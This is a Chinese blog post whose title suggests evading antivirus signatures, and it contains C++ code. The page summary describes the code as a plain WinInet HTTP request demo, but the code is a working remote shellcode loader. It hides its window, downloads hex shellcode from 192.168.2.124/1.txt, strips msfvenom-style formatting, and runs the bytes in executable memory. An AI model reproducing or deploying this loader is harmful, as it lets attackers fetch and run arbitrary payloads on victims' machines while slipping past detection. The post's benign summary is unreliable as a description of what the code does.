改特征，我也会_#include <windows.h> #include <iostream> #include<-优快云博客

本文链接：https://blog.youkuaiyun.com/xmd213131/article/details/113061499

该代码示例演示了如何使用C++和WinInet库进行HTTP请求，并获取服务器响应。主要功能包括初始化WinInet、建立HTTP连接、发送GET请求、读取响应数据以及内存分配和释放。代码还包含了处理响应头信息和去除字符串特定字符的辅助函数。

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#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#pragma comment(lib, "WinInet.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")

using namespace std;

char* testurl(const wchar_t* URL, const wchar_t* SubPath)
{
	HINTERNET z, y, x = NULL;//创建三个句柄用于接收后面的返回值
	DWORD orf, ret = 0;//double word 两个字节
	unsigned char* rhi = NULL;
	DWORD rhisize = 2048;
	BYTE* j = NULL;
	DWORD k = 64 * 2048;
	z = ::InternetOpen(L"刘波/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//初始化wininet，类似于wsastartup()，返回一个Hinternet句柄
	/*
HINTERNET InternetOpen(
  _In_ LPCTSTR lpszAgent,//设置ua
  _In_ DWORD   dwAccessType,//设置访问类型，通过代理，直接连接
  _In_ LPCTSTR lpszProxyName,//代理账号
  _In_ LPCTSTR lpszProxyBypass,//代理密码
  _In_ DWORD   dwFlags
);*/
	Sleep(12);
	y = ::InternetConnect(z,URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);//创建一个http连接(初始化wininet句柄，要连接的url，使用的端口，)
	//HINTERNET WINAPI InternetConnect(HINTERNET z, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName（用户名）, LPCTSTR lpszPassword（密码）, DWORD dwService（指定要访问的服务器类型）, DWORD dwFlags, DWORD dwContext);
	//成功返回句柄，不成功返回null；
	if (NULL == y)
		return NULL;
	orf = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	x = HttpOpenRequest(y,L"GET", SubPath, NULL, NULL, NULL, orf, 0);
	HttpSendRequest(x, NULL, 0, NULL, 0);

	rhi = new unsigned char[rhisize];
	RtlZeroMemory(rhi, rhisize);
	HttpQueryInfo(x, HTTP_QUERY_RAW_HEADERS_CRLF, rhi, &rhisize, NULL);
	j = new BYTE[k];

	RtlZeroMemory(j, k);
	InternetReadFile(x, j, k, &ret);
	return (char*)j;
}

void* sh(int a) {
	void* p = VirtualAlloc(NULL, a / 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	return p;
}

string del_chr(std::string test) {
	test.erase(test.find("unsigned char buf[] ="), strlen("unsigned char buf[] ="));
	test.erase(test.find(";"), 1);
	test.erase(test.find(" "), 1);
	while (test.find("\n") != -1) {
		try {
			test.erase(test.find("\n"), strlen("\n"));
		}
		catch (...) {
			continue;
		}
	}
	while (test.find("\\x") != -1) {
		try {
			test.erase(test.find("\\x"), strlen("\\x"));
		}
		catch(...){
			continue;
		}
	}
	while (test.find("\"") != -1) {
		try {
			test.erase(test.find("\""), strlen("\""));
		}
		catch (...) {
			continue;
		}
	}
	return test;
}

int main(int argc, char* argv[])
{
	std::string b = testurl(L"192.168.2.124", L"/1.txt");
	std::string c = del_chr(b);
	const char* d = c.data();
	printf("%s \n", d);
	//char* b = del_chr(c);
	//printf("%s,test,test \n", b);
	//int b_length = strlen(b);
	int d_length = strlen(d);
	int size = d_length * sizeof(unsigned char);
	unsigned char* value = (unsigned char*)malloc(size);
	for (size_t count = 0; count < d_length / 2; count++) {
		sscanf(d, "%2hhx", &value[count]);
		d += 2;
	}
	LPVOID test = sh(d_length / 2);
	memcpy(test,value, d_length/2);
	((void(*)())test)();
	system("pause");
	return 0;
}